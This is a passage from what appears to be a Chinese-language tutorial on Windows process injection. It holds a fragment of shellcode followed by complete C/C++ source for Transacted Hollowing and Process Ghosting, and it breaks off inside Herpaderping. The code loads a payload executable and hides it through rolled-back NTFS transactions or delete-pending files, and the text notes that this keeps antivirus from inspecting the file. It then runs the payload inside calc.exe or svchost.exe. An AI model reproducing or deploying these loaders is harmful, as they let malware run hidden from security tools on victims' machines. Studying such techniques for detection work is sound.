		"\x68\x6f\x6d\x20\x43\x68\x6f\x20\x46\x72\x68\x48\x65\x6c\x6c"
		"\x31\xc9\x88\x4c\x24\x1b\x89\xe1\x31\xd2\x6a\x30\x53\x51\x52"
		"\xff\xd0\x31\xc0\x50\xff\x55\x08";
#endif
	BOOL isSuccess;
	DWORD pid = atoi(argv[1]);
	if (pid == 0) {
		wprintf(L"[-] Invalid process id...\n");
		exit(-1);
	}
	SIZE_T payload_size = sizeof(buf);
	isSuccess = ModuleStomp(buf, payload_size, pid);
}

Transacted Hollowing

原理:

  1. 利用NtCreateTransaction创建事务.
  2. 利用CreateFileTransacted以事务特性打开一个文件.
  3. 利用WriteFile向上述打开的文件写入恶意代码payload.
  4. 利用NtCreateSection根据上述文件内容创建一个section.
  5. 利用NtRollbackTransaction回滚之前的写操作.
  6. 利用CreateProcess创建一个挂起的目标进程.
  7. 利用NtMapViewOfSection将恶意代码的section映射到目标进程中,可以得到一个映射的地址sectionBaseAddress.
  8. 利用WriteProcessMemory以及ResumeThread执行恶意代码.

代码:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
#include <Windows.h>
#include <stdio.h>
#include "CWLInc.h"
#include <iostream>


BYTE* GetPayloadBuffer(OUT size_t& p_size) {
	HANDLE hFile = CreateFileW(L"C:/Users/XiaLuoHun/Desktop/LuoDst/x64/Release/LuoDst.exe", GENERIC_READ, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
	if (hFile == INVALID_HANDLE_VALUE) {
		perror("[-] Unable to open payload file... \n");
		exit(-1);
	}
	p_size = GetFileSize(hFile, 0);
	BYTE* bufferAddress = (BYTE*)VirtualAlloc(0, p_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (bufferAddress == NULL) {
		perror("[-] Failed to allocated memory for payload buffer... \n");
		exit(-1);
	}
	DWORD bytesRead = 0;
	if (!ReadFile(hFile, bufferAddress, p_size, &bytesRead, NULL)) {
		perror("[-] Failed to read payload buffer... \n");
		exit(-1);
	}
	return bufferAddress;
}


HANDLE MakeSectionWithTransaction(BYTE* payload, DWORD payloadSize) {
	HANDLE hTransaction;
	HANDLE hTransactedFile = INVALID_HANDLE_VALUE;
	HANDLE hSection;
	NTSTATUS status;
	DWORD bytesWritten;
	// Function Declaration
	HMODULE hNtdllModule = GetModuleHandleA("ntdll.dll");
	if (hNtdllModule == INVALID_HANDLE_VALUE) {
		perror("[-] Cannot found module ntdll.dll \n");
		exit(-1);
	}
	_NtCreateTransaction pNtCreateTransaction = (_NtCreateTransaction)GetProcAddress(hNtdllModule, "NtCreateTransaction");
	if (pNtCreateTransaction == NULL) {
		perror("[-] Cannot found API NtCreateTransaction \n");
		exit(-1);
	}
	_NtCreateSection pNtCreateSection = (_NtCreateSection)GetProcAddress(hNtdllModule, "NtCreateSection");
	if (pNtCreateSection == NULL) {
		perror("[-] Cannot found API NtCreateSection \n");
		exit(-1);
	}
	_NtRollbackTransaction pNtRollbackTransaction = (_NtRollbackTransaction)GetProcAddress(hNtdllModule, "NtRollbackTransaction");
	if (pNtRollbackTransaction == NULL) {
		perror("[-] Cannot found API NtRollbackTransaction \n");
		exit(-1);
	}

	// Create NTFS Transaction object
	_OBJECT_ATTRIBUTES objAttr;
	InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL);
	status = pNtCreateTransaction(&hTransaction, TRANSACTION_ALL_ACCESS, &objAttr, NULL, NULL, 0, 0, 0, NULL, NULL);
	if (!NT_SUCCESS(status)) {
		perror("[-] Error Creating Transaction Object!!\n");
		exit(-1);
	}
	wprintf(L"[+] NTFS Transaction Object Created\n");

	// open target file for transaction
	wchar_t targetPath[MAX_PATH];
	lstrcpyW(targetPath, L"C:\\temp\\mynotes.txt");
	hTransactedFile = CreateFileTransactedW(targetPath, GENERIC_READ | GENERIC_WRITE, 0, NULL, 
								OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL,NULL, hTransaction, NULL, NULL);
	if (hTransactedFile == INVALID_HANDLE_VALUE) {
		perror("[-] Error Opening Target File For Transaction..\n");
		exit(-1);
	}

	// Write payload to transacted file
	if (!WriteFile(hTransactedFile, payload, payloadSize, &bytesWritten, NULL)) {
		perror("[-] Error writing payload into transaction!!\n");
		exit(-1);
	}
	wprintf(L"[+] Payload Written To The Transacted File \n");

	// Create Section from transacted file
	status = pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, hTransactedFile);
	if (!NT_SUCCESS(status)) {
		perror("[-] Failed To Create Section From Transacted File..\n");
		exit(-1);
	}
	wprintf(L"[+] Section Created From Transaction \n");
	CloseHandle(hTransactedFile);
	hTransactedFile = INVALID_HANDLE_VALUE;

	// Rollback the transaction 
	status = pNtRollbackTransaction(hTransaction, TRUE);
	if (!NT_SUCCESS(status)) {
		perror("[-] Failed To Rollback Transaction");
		exit(-1);
	}
	wprintf(L"[+] Transaction Rolled back..\n");
	CloseHandle(hTransaction);
	hTransaction = INVALID_HANDLE_VALUE;
	return hSection;
}

HANDLE CreateSuspendedProcess(PROCESS_INFORMATION &pi) {
	LPSTARTUPINFO sInfo = new STARTUPINFO();
	sInfo->cb = sizeof(STARTUPINFOW);
	HANDLE hTargetProcess = INVALID_HANDLE_VALUE;
	wchar_t exePath[MAX_PATH];
	lstrcpyW(exePath, L"C:\\Windows\\System32\\calc.exe");
	// Create Process In Suspended Mode
	if (!CreateProcessW(NULL, exePath, NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, sInfo, &pi)) {
		perror("[-] Failed To Create Suspended Process.. \n");
		exit(-1);
	}
	wprintf(L"[+] Created Process In Suspended Mode...\n");
	hTargetProcess = pi.hProcess;
	return hTargetProcess;

}


PVOID MapSectionIntoProcessVA(HANDLE hProcess, HANDLE hSection)
{
	NTSTATUS status = STATUS_SUCCESS;
	SIZE_T viewSize = 0;
	PVOID sectionBaseAddress = 0;
	_NtMapViewOfSection pNtMapViewOfSection = (_NtMapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtMapViewOfSection");
	if (pNtMapViewOfSection == NULL) {
		perror("[-] Cannot found API NtMapViewOfSection \n");
		exit(-1);
	}
	// Map the section into target process virtual address space
	status = pNtMapViewOfSection(hSection, hProcess, &sectionBaseAddress, NULL, NULL, NULL, &viewSize, ViewShare, NULL, PAGE_READONLY);
	if (!NT_SUCCESS(status)) {
		perror("[-] Unable To Map Section Into The Target Process \n");
		exit(-1);
	}
	wprintf(L"[+] Successfully Mapped Section To The Target Process\n");
	wprintf(L"[+] Mapped Base: %p \n", sectionBaseAddress);
	return sectionBaseAddress;
}

ULONG_PTR GetPayloadEntryPoint(HANDLE hProcess, PVOID sectionBaseAddress, BYTE* payloadBuffer, PROCESS_BASIC_INFORMATION pbi) {
	NTSTATUS status;
	ULONGLONG entryPoint;

	_RtlImageNTHeader pRtlImageNTHeader = (_RtlImageNTHeader)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlImageNtHeader");
	if (pRtlImageNTHeader == NULL) {
		perror("[-] Error RtlImageNTHeader API not found\n");
		exit(-1);
	}
	wprintf(L"[+] Base Address of payload in target process: %p \n", sectionBaseAddress);
	entryPoint = (pRtlImageNTHeader(payloadBuffer))->OptionalHeader.AddressOfEntryPoint;
	wprintf(L"[+] Image Base Address of the payload buffer in remote process: %p \n", entryPoint);
	entryPoint += (ULONGLONG)sectionBaseAddress;
	wprintf(L"[+] EntryPoint of the payload buffer: %p \n", entryPoint);
	return entryPoint;
}

BOOL TransactHollowing(BYTE* payload, DWORD payloadSize) {
	HANDLE hSection = INVALID_HANDLE_VALUE;
	HANDLE hTargetProcess = INVALID_HANDLE_VALUE;
	PROCESS_BASIC_INFORMATION pbi;
	NTSTATUS status;
	DWORD returnLength = 0;
	ULONGLONG entryPoint;
	PEB* remotePEB;
	
	// Make Section With Transacted File
	hSection = MakeSectionWithTransaction(payload, payloadSize);

	_NtQueryInformationProcess pNtQueryInformationProcess = (_NtQueryInformationProcess)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess");
	if (pNtQueryInformationProcess == NULL) {
		perror("[-] Error NtQueryInformationProcess API not found\n");
		exit(-1);
	}
	// Creating Process In Suspended Mode
	PROCESS_INFORMATION pInfo = { 0 };
	hTargetProcess = CreateSuspendedProcess(pInfo);
	if (hTargetProcess == INVALID_HANDLE_VALUE) {
		perror("[-] Unable to create Suspended Process\n");
		exit(-1);
	}

	// Maping the section into the target process
	PVOID sectionBaseAddress = MapSectionIntoProcessVA(hTargetProcess, hSection);

	// Query Remote Process Information
	status = pNtQueryInformationProcess(hTargetProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLength);
	if (!NT_SUCCESS(status)) {
		perror("[-] Error Getting Target Process Information\n");
		exit(-1);
	}
	// Getting Payload EntryPoint
	entryPoint = GetPayloadEntryPoint(hTargetProcess, sectionBaseAddress, payload, pbi);

	// changing the control flow by resetting the entrypoint
	LPCONTEXT context = new CONTEXT();
	context->ContextFlags = CONTEXT_INTEGER;
	if (!GetThreadContext(pInfo.hThread, context)) {
		perror("[-] Unable to Get Thread Context\n");
		exit(-1);
	}
	// changing entry point to payload entrypoint
	context->Rcx = entryPoint;

	if (!SetThreadContext(pInfo.hThread, context)) {
		perror("[-] Unable to Set Thread Context\n");
		exit(-1);
	}

	// Get Remote PEB address
	remotePEB = (PEB*)pbi.PebBaseAddress;
	wprintf(L"[+] Remote PEB address: %p \n", remotePEB);
	ULONGLONG imageBaseOffset = sizeof(ULONGLONG) * 2;
	LPVOID remoteImageBase = (LPVOID)((ULONGLONG)remotePEB + imageBaseOffset);
	wprintf(L"[+] Address Offset at PEB pointing ImageBaseAddress: %p \n", remoteImageBase);
	SIZE_T written = 0;
	//Write the payload's ImageBase into remote process' PEB:
	if (!WriteProcessMemory(pInfo.hProcess, remoteImageBase,
			&sectionBaseAddress, sizeof(ULONGLONG),
			&written)) {
		perror("[-] Unable to Update ImageBase into remote process\n");
		exit(-1);
	}
	wprintf(L"[+] Updated ImageBaseAddress with payload ImageBaseAddress at PEB offset: %p \n", remoteImageBase);

	// Resuming the thread
	ResumeThread(pInfo.hThread);
	wprintf(L"[+] Thread Resumed \n");
	return TRUE;
}

int main() {
	size_t payloadSize = 0;
	BYTE* payloadBuffer = GetPayloadBuffer(payloadSize);
	BOOL isSuccess = TransactHollowing(payloadBuffer, (DWORD)payloadSize);
	system("pause");
}

Process Ghosting

原理:

该方法与Process Doppelganging从实现上几乎一样,唯一的区别就是处理不落地文件的方式:

Process Doppelganging: 通过事务API打开文件,修改文件(写入payload),创建section,再回滚修改的内容.

Process Ghosting: 打开文件,设置删除标志,修改文件(写入payload),创建section,删除文件.这样进程运行时,反病毒软件打不开文件,因此无法做检测.

代码:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
#include <stdio.h>
#include <Windows.h>
#include "CWLInc.h"
#include <iostream>

BYTE* GetPayloadBuffer(OUT size_t& p_size) {
	HANDLE hFile = CreateFileW(L"C:/Users/XiaLuoHun/Desktop/LuoDst/x64/Release/LuoDst.exe", GENERIC_READ, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
	if (hFile == INVALID_HANDLE_VALUE) {
		perror("[-] Unable to open payload file... \n");
		exit(-1);
	}
	p_size = GetFileSize(hFile, 0);
	BYTE* bufferAddress = (BYTE*)VirtualAlloc(0, p_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (bufferAddress == NULL) {
		perror("[-] Failed to allocated memory for payload buffer... \n");
		exit(-1);
	}
	DWORD bytesRead = 0;
	if (!ReadFile(hFile, bufferAddress, p_size, &bytesRead, NULL)) {
		perror("[-] Failed to read payload buffer... \n");
		exit(-1);
	}
	CloseHandle(hFile);
	return bufferAddress;
}

HANDLE MakeSectionFromDeletePendingFile(wchar_t* ntFilePath, BYTE* payload, size_t payloadSize) {
	HANDLE hFile;
	HANDLE hSection;
	NTSTATUS status;
	_OBJECT_ATTRIBUTES objAttr;
	UNICODE_STRING uFileName;
	IO_STATUS_BLOCK statusBlock = {0};
	DWORD bytesWritten;
	// NT Functions Declaration
	_NtOpenFile pNtOpenFile = (_NtOpenFile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtOpenFile");
	if (pNtOpenFile == NULL) {
		perror("[-] Unable To Found API NtOpenFile...\n");
		exit(-1);
	}
	_RtlInitUnicodeString pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlInitUnicodeString");
	if (pRtlInitUnicodeString == NULL) {
		perror("[-] Unable To Found API RtlInitUnicodeString...\n");
		exit(-1);
	}
	_NtSetInformationFile pNtSetInformationFile = (_NtSetInformationFile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtSetInformationFile");
	if (pNtSetInformationFile == NULL) {
		perror("[-] Unable To Found API NtSetInfromationFile...\n");
		exit(-1);
	}
	_NtCreateSection pNtCreateSection = (_NtCreateSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateSection");
	if (pNtCreateSection == NULL) {
		perror("[-] Unable To Found API NtCreateSection.. \n");
		exit(-1);
	}

	pRtlInitUnicodeString(&uFileName, ntFilePath);
	InitializeObjectAttributes(&objAttr, &uFileName, OBJ_CASE_INSENSITIVE, NULL, NULL);
	wprintf(L"[+] Opening The File...\n");
	// Open File 
	// FLAGS: 
	//		FILE_SUPERSEDED: deletes the old file and creates new one if file exists
	//		FILE_SYNCHRONOUS_IO_NONALERT: All operations on the file are performed synchronously

	status = pNtOpenFile(&hFile, GENERIC_READ | GENERIC_WRITE | DELETE | SYNCHRONIZE,
		&objAttr, &statusBlock, FILE_SHARE_READ | FILE_SHARE_WRITE,
		FILE_SUPERSEDED | FILE_SYNCHRONOUS_IO_NONALERT);
	if (!NT_SUCCESS(status)) {
		perror("[-] Error Opening File...\n");
		exit(-1);
	}


	wprintf(L"[+] Putting File Into Delete-Pending State...\n");
	// Set disposition flag 
	FILE_DISPOSITION_INFORMATION info = { 0 };
	info.DeleteFile = TRUE;
	// Set delete-pending state to the file
	// FileDispositionInformation: Request to delete the file when it is closed
	status = pNtSetInformationFile(hFile, &statusBlock, &info, sizeof(info), FileDispositionInformation);
	if (!NT_SUCCESS(status)) {
		perror("[-] Error setting file to delete pending state...\n");
		exit(-1);
	}


	wprintf(L"[+] Writing Payload Into Delete-Pending State File...\n");
	// Write Payload To File
	// Since we've set our file to delete-pending state
	// as soon as we close the handle the file will disappear
	if (!WriteFile(hFile, payload, payloadSize, &bytesWritten, NULL)) {
		perror("[-] Failed to write payload to the file...\n");
		exit(-1);
	}


	wprintf(L"[+] Creating Section From Delete-Pending State File...\n");
	// Before closing the handle we create a section from delete-pending file
	// This will later become the file-less section 
	// once we close the handle to the delete-pending file
	status = pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, hFile);
	if (!NT_SUCCESS(status)) {
		perror("[-] Error setting file to delete pending state...\n");
		exit(-1);
	}
	wprintf(L"[+] Section Created From The Delete-Pending File...\n ");


	// Close the delete-pending file handle
	// This will remove the file from the disk
	CloseHandle(hFile);
	hFile = NULL;
	wprintf(L"[-] File Deleted Successfully...\n");
	return hSection;
	
}

HANDLE CreateProcessWithSection(HANDLE hSection) {
	HANDLE hProcess = INVALID_HANDLE_VALUE;
	NTSTATUS status;
	_NtCreateProcessEx pNtCreateProcessEx = (_NtCreateProcessEx)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateProcessEx");
	if (pNtCreateProcessEx == NULL) {
		perror("[-] Unable To Found API NtCreateProcessEx...\n");
		exit(-1);
	}
	// Create Process With File-less Section
	status = pNtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL, 
					GetCurrentProcess(), PS_INHERIT_HANDLES, hSection, NULL, NULL, FALSE);
	if (!NT_SUCCESS(status)) {
		perror("[-] Unable To Create The Process...\n");
		exit(-1);
	}
	return hProcess;
}


ULONG_PTR GetEntryPoint(HANDLE hProcess, BYTE* payload, PROCESS_BASIC_INFORMATION pbi) {
	BYTE image[0x1000];
	ULONG_PTR entryPoint;
	SIZE_T bytesRead;
	NTSTATUS status;

	ZeroMemory(image, sizeof(image));
	// Function Declaration
	_RtlImageNTHeader pRtlImageNTheader = (_RtlImageNTHeader)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlImageNtHeader");
	if (pRtlImageNTheader == NULL) {
		perror("[-] Unable To Found API RtlImageNTheader...\n");
		exit(-1);
	}
	_NtReadVirtualMemory pNtReadVirtualMemory = (_NtReadVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtReadVirtualMemory");
	if (pNtReadVirtualMemory == NULL) {
		perror("[-] Unable To Found API NtReadVirtualMemory...\n");
		exit(-1);
	}
	status = pNtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &image, sizeof(image), &bytesRead);
	if (!NT_SUCCESS(status)) {
		perror("[+] Unable to read remote process base address.. \n");
		exit(-1);
	}
	wprintf(L"[+] Base Address of target process PEB: %p \n", (ULONG_PTR)((PPEB)image)->ImageBaseAddress);
	entryPoint = (pRtlImageNTheader(payload)->OptionalHeader.AddressOfEntryPoint);
	entryPoint += (ULONG_PTR)((PPEB)image)->ImageBaseAddress;
	wprintf(L"[+] EntryPoint of the payload buffer: %p \n", entryPoint);
	return entryPoint;
}


BOOL ProcessGhosting(BYTE* payload, size_t payloadSize) {
	NTSTATUS status;
	_NtQueryInformationProcess pNtQueryInformationProcess = (_NtQueryInformationProcess)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess");
	if (pNtQueryInformationProcess == NULL) {
		perror("[-] Error NtQueryInformationProcess API not found\n");
		exit(-1);
	}

	_RtlInitUnicodeString pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlInitUnicodeString");
	if (pRtlInitUnicodeString == NULL) {
		perror("[-] Error RtlInitUnicodeString API not found\n");
		exit(-1);
	}

	_NtCreateThreadEx pNtCreateThreadEx = (_NtCreateThreadEx)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateThreadEx");
	if (pNtCreateThreadEx == NULL) {
		perror("[-] Error NtCreateThreadEx API not found\n");
		exit(-1);
	}

	_NtWriteVirtualMemory pNtWriteVirtualMemory = (_NtWriteVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtWriteVirtualMemory");
	if (pNtWriteVirtualMemory == NULL) {
		perror("[-] Error NtWriteVirtualMemory API not found\n");
		exit(-1);
	}

	_NtAllocateVirtualMemory pNtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");
	if (pNtAllocateVirtualMemory == NULL) {
		perror("[-] Unable To Found API NtAllocateVirtualMemory...");
		exit(-1);
	}
	_RtlCreateProcessParametersEx pRtlCreateProcessParametersEx = (_RtlCreateProcessParametersEx)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlCreateProcessParametersEx");
	if (pRtlCreateProcessParametersEx == NULL) {
		perror("[-] Unable To Found API RtlCreateProcessParametersEx...");
		exit(-1);
	}
	HANDLE hProcess = INVALID_HANDLE_VALUE;
	HANDLE hSection = INVALID_HANDLE_VALUE;
	DWORD returnLength;
	PROCESS_BASIC_INFORMATION pbi;
	ULONG_PTR entryPoint;
	UNICODE_STRING uTargetFile;
	PRTL_USER_PROCESS_PARAMETERS processParameters;
	PEB* remotePEB;
	HANDLE hThread;
	UNICODE_STRING uDllPath;
	wchar_t ntPath[MAX_PATH] = L"\\??\\";
	wchar_t tempFileName[MAX_PATH] = {0};
	wchar_t tempPath[MAX_PATH] = {0};
	GetTempPathW(MAX_PATH, tempPath);
	GetTempFileNameW(tempPath, L"PG", 0, tempFileName);
	lstrcat(ntPath, tempFileName);
	hSection = MakeSectionFromDeletePendingFile(ntPath, payload, payloadSize);
	if (hSection == INVALID_HANDLE_VALUE) {
		perror("[-] Invalid Section...\n");
		exit(-1);
	}
	hProcess = CreateProcessWithSection(hSection);
	if (hProcess == INVALID_HANDLE_VALUE) {
		perror("[-] Invalid Process Handle...\n");
		exit(-1);
	}
	wprintf(L"[-] Successfully Created Process From File-less Section...\n");
	// Getting Process Infromation
	status = pNtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi , sizeof(PROCESS_BASIC_INFORMATION), &returnLength);
	if (!NT_SUCCESS(status)) {
		perror("[-] Error Getting Process Infromation!!\n");
		exit(-1);
	}
	// Getting EntryPoint 
	entryPoint = GetEntryPoint(hProcess, payload, pbi);

	WCHAR targetPath[MAX_PATH];
	lstrcpyW(targetPath, L"C:\\windows\\system32\\svchost.exe");
	pRtlInitUnicodeString(&uTargetFile, targetPath);
	// Create and Fix parameters for newly created process
	// Create Process Parameters
	wchar_t dllDir[] = L"C:\\Windows\\System32";
	UNICODE_STRING uDllDir = { 0 };
	pRtlInitUnicodeString(&uDllPath, dllDir);
	status = pRtlCreateProcessParametersEx(&processParameters, &uTargetFile, &uDllPath, NULL,
		&uTargetFile, NULL, NULL, NULL, NULL, NULL, RTL_USER_PROC_PARAMS_NORMALIZED);
	if (!NT_SUCCESS(status)) {
		perror("[-] Unable To Create Process Parameters...\n");
		exit(-1);
	}

	// ALlocating memory for parameters in target process
	PVOID paramBuffer = processParameters;
	SIZE_T paramSize = processParameters->EnvironmentSize + processParameters->MaximumLength;
	status = pNtAllocateVirtualMemory(hProcess, &paramBuffer, 0, &paramSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (!NT_SUCCESS(status)) {
		perror("[-] Unable To Allocate Memory For Process Parameters...\n");
		exit(-1);
	}
	printf("[+] Allocated Memory For Parameters %p\n", paramBuffer);
	// Writing Process Parameters in Target Process
	status = pNtWriteVirtualMemory(hProcess, processParameters, processParameters,
		processParameters->EnvironmentSize + processParameters->MaximumLength, NULL);
	remotePEB = (PEB*)pbi.PebBaseAddress;
	// Updating Process Parameters Address at remote PEB
	if (!WriteProcessMemory(hProcess, &remotePEB->ProcessParameters, &processParameters, sizeof(PVOID), NULL)) {
		perror("[-] Error Updating Process Parameters!!\n");
		exit(-1);
	}
	printf("[+] Updated Remote Process Parameters Address at PEB\n");

	// Create Thread
	status = pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess,
		(LPTHREAD_START_ROUTINE)entryPoint, NULL, FALSE, 0, 0, 0, NULL);
	if (!NT_SUCCESS(status)) {
		std::cerr << "[-] Error Creating Thread: " << std::hex << status << std::endl;
		exit(-1);
	}
	printf("[+] Thread Executed...\n");


	return TRUE;
}

int main() {
	size_t payloadSize = 0;
	BYTE* payloadBuffer = GetPayloadBuffer(payloadSize);
	BOOL isSuccess = ProcessGhosting(payloadBuffer, payloadSize);
	system("pause");
}

Herpaderping

原理:

  1. 利用CreateFile创建一个临时文件.
  2. 利用WriteFile将恶意代码payload写到上述的临时文件中.
  3. 利用NtCreateSection根据上述文件创建一个section.
  4. 利用NtCreateProcessEx根据上述section创建一个进程.
  5. 利用WriteFile修改磁盘上的临时文件内容.
  6. 利用RtlCreateProcessParametersEx创建一个进程环境变量块.
  7. 利用NtAllocateVirtualMemory,NtWriteVirtualMemory将上述进程环境变量块写入上方创建的进程中.
  8. 利用WriteProcessMemory修改上述进程的进程环境变量块.
  9. 利用NtCreateThreadEx在上述进程的入口点创建一个线程,运行恶意代码.

代码:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
#include <Windows.h>
#include <stdio.h>
#include "CWLInc.h"


BYTE* GetPayloadBuffer(OUT size_t& p_size) {
	HANDLE hFile = CreateFileW(L"C:/Users/XiaLuoHun/Desktop/Advanced-Process-Injection-Workshop-master/payloads/payload64.exe", GENERIC_READ, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hFile == INVALID_HANDLE_VALUE) {
		perror("[-] Unable to open payload file... \n");
	}
	p_size = GetFileSize(hFile, NULL);
	BYTE* bufferAddress = (BYTE*)VirtualAlloc(0, p_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (bufferAddress == NULL) {
		perror("[-] Failed to allocate memory for payload buffer.. \n");
		exit(-1);
	}
	DWORD bytesRead = 0; 
	if (!ReadFile(hFile, bufferAddress, p_size, &bytesRead, NULL)) {
		perror("[-] Failed to read payload buffer... \n");
		exit(-1);
	}
	CloseHandle(hFile);
	return bufferAddress;
}

ULONG_PTR GetEntryPoint(HANDLE hProcess, BYTE* payload,PROCESS_BASIC_INFORMATION pbi) {
	// Functions Declaration
	_RtlImageNtHeader pRtlImageNtHeader = (_RtlImageNtHeader)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlImageNtHeader");
	if (pRtlImageNtHeader == NULL) {
		perror("[-] Couldn't found API RtlImageNTHeader...\n");
		exit(-1);
	}
	_NtReadVirtualMemory pNtReadVirtualMemory = (_NtReadVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtReadVirtualMemory");
	if (pNtReadVirtualMemory == NULL) {
		perror("[-] Couldn't found API NtReadVirtualMemory...\n");
		exit(-1);
	}
	// Retrieving entrypoint of our payload
	BYTE image[0x1000];
	ULONG_PTR entryPoint;
	SIZE_T bytesRead;
	NTSTATUS status;
	ZeroMemory(image, sizeof(image));
	status = pNtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &image, sizeof(image), &bytesRead);
	if (!NT_SUCCESS(status)) {
		perror("[-] Error reading process base address..\n");
		exit(-1);
	}
	wprintf(L"[+] Base Address of target process PEB: %p \n", (ULONG_PTR)((PPEB)image)->ImageBaseAddress);
	entryPoint = (pRtlImageNtHeader(payload)->OptionalHeader.AddressOfEntryPoint);
	entryPoint += (ULONG_PTR)((PPEB)image)->ImageBaseAddress;
	wprintf(L"[+] EntryPoint of the payload buffer: %p \n", entryPoint);
	return entryPoint;
}


BOOL Herpaderping(BYTE* payload,size_t payloadSize) {
	// Functions Declartion
	_NtCreateSection pNtCreateSection = (_NtCreateSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateSection");
	if (pNtCreateSection == NULL) {
